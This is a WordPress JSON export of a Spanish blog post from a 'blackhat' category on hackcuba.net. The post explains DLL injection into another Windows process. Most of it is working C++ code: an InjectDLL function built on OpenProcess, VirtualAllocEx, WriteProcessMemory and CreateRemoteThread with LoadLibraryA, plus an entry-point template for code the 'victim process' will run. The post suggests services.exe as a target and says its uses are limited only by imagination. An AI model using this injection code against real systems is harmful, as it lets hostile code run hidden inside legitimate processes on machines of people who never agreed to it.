{"id":483,"date":"2026-03-08T20:53:38","date_gmt":"2026-03-08T20:53:38","guid":{"rendered":"https:\/\/hackcuba.net\/?p=483"},"modified":"2026-03-08T20:53:38","modified_gmt":"2026-03-08T20:53:38","slug":"inyeccion-de-codigo-por-dlls","status":"publish","type":"post","link":"https:\/\/hackcuba.net\/?p=483","title":{"rendered":"Inyecci\u00f3n de c\u00f3digo por DLLs"},"content":{"rendered":"\n<p>Esta funci\u00f3n nos permitir\u00e1 ejecutar nuestros c\u00f3digos en otros procesos. Quiz\u00e1s algunos de ustedes habr\u00e1 o\u00eddo hablar de la t\u00e9cnica de inyecci\u00f3n de c\u00f3digo por DLLs, pero nunca han tenido idea de como llevarlo a la pr\u00e1ctica. Aqu\u00ed les presento una funci\u00f3n que se encarga de este trabajo; los par\u00e1metros de entrada son el PID del proceso y el nombre de la DLL.<\/p>\n\n\n\n<!--more-->\n\n\n\n<p>El funcionamiento es el siguiente: luego de abierta nuestra aplicaci\u00f3n tomamos el PID de alg\u00fan proceso del sistema que estemos seguro que siempre existir\u00e1 (ej: <em>services.exe<\/em>), luego inyectamos la DLL al proceso y todos los c\u00f3digos que tengamos en el <em>EntryPoint<\/em> de la DLL ser\u00e1n ejecutados por el proceso v\u00edctima.<\/p>\n\n\n\n<p>Importante saber que nuestro c\u00f3digo debe estar dispuesto en el <em>EntryPoint<\/em> de la DLL de la siguiente manera:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nint WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)\n{\n  if ( DLL_PROCESS_ATTACH == reason )\n{\n\n\/\/ aqu\u00ed ponemos todo lo que queramos\n\/\/ que el proceso v\u00edctima haga por nosotros\n\/\/ ejemplo:\n\nMessageBoxA( NULL, GetCommandLineA(), &quot;Test&quot;, NULL); \/\/ mostrar\u00e1 la direcci\u00f3n del .exe del proceso v\u00edctima\n\n}\n  return 1;\n}\n\nLo que hace la condicional es asegurarse de que el c\u00f3digo s\u00f3lo sea ejecutado en el momento en que la DLL es cargada por el proceso. Ahora la funci\u00f3n en cuesti\u00f3n:\n\nBOOL InjectDLL(DWORD ProcessID, char *DLL_NAME)\n{\n  HANDLE Proc;\n   LPVOID RemoteString, LoadLibAddy;\n  if(!ProcessID)\n  return false;\n\n  Proc = OpenProcess(PROCESS_ALL_ACCESS | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ProcessID);\n\n  if(!Proc)\n  {\n    ShowMessage(&quot;No pude abrir el poceso.&quot;);\n    return false;\n   }\n\n  LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle(&quot;kernel32.dll&quot;), &quot;LoadLibraryA&quot;);\n\n  RemoteString = (LPVOID)VirtualAllocEx(Proc, 0, strlen(DLL_NAME), MEM_COMMIT, PAGE_READWRITE);\n  WriteProcessMemory(Proc, (LPVOID)RemoteString, DLL_NAME,strlen(DLL_NAME), NULL);\n  CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL);\n\n  CloseHandle(Proc);\n\n  return true;\n}\n<\/pre><\/div>\n\n\n<p>B\u00e1sicamente, lo que realiza esta funci\u00f3n es abrir el proceso v\u00edctima, escribir en su memoria una llamada a la API <code>LoadLibraryA<\/code> con nuestra DLL como par\u00e1metro y hacer que ejecute justo en el lugar de su memoria donde escribimos para que haga el llamado a la API. En el momento en que carga la DLL, se ejecuta su <em>EntryPoint<\/em> junto con nuestro c\u00f3digo \ud83d\ude09<\/p>\n\n\n\n<p><strong>Nota:<\/strong> Quiz\u00e1s en este momento te ha venido la idea de usar esta t\u00e9cnica para elevarte en la escala de privilegios, abriendo un proceso <em>SYSTEM<\/em> y pidi\u00e9ndole que te suba. Lamento desilusionarte, pero eso no te servir\u00e1 por la sencilla raz\u00f3n de que no podr\u00e1s abrir un proceso que est\u00e9 por encima de ti en la escala de privilegios, es decir, que si t\u00fa est\u00e1s como usuario normal e intentas abrir Services, que est\u00e1 como SYSTEM, no te dar\u00e1 resultado. No obstante, en el n\u00famero 22 de la revista publiqu\u00e9 un c\u00f3digo que permite ejecutarnos como SYSTEM.<\/p>\n\n\n\n<p>La cantidad de usos que le podemos dar a este c\u00f3digo solo est\u00e1 limitada por tu imaginaci\u00f3n.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Esta funci\u00f3n nos permitir\u00e1 ejecutar nuestros c\u00f3digos en otros procesos. Quiz\u00e1s algunos de ustedes habr\u00e1 o\u00eddo hablar de<\/p>\n","protected":false},"author":2,"featured_media":442,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[59,36],"tags":[88,38],"class_list":["post-483","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-codigos","category-proyecto-blackhat","tag-codigos","tag-proyecto-blackhat"],"_links":{"self":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/483","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=483"}],"version-history":[{"count":1,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/483\/revisions"}],"predecessor-version":[{"id":484,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/483\/revisions\/484"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/media\/442"}],"wp:attachment":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=483"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=483"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=483"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}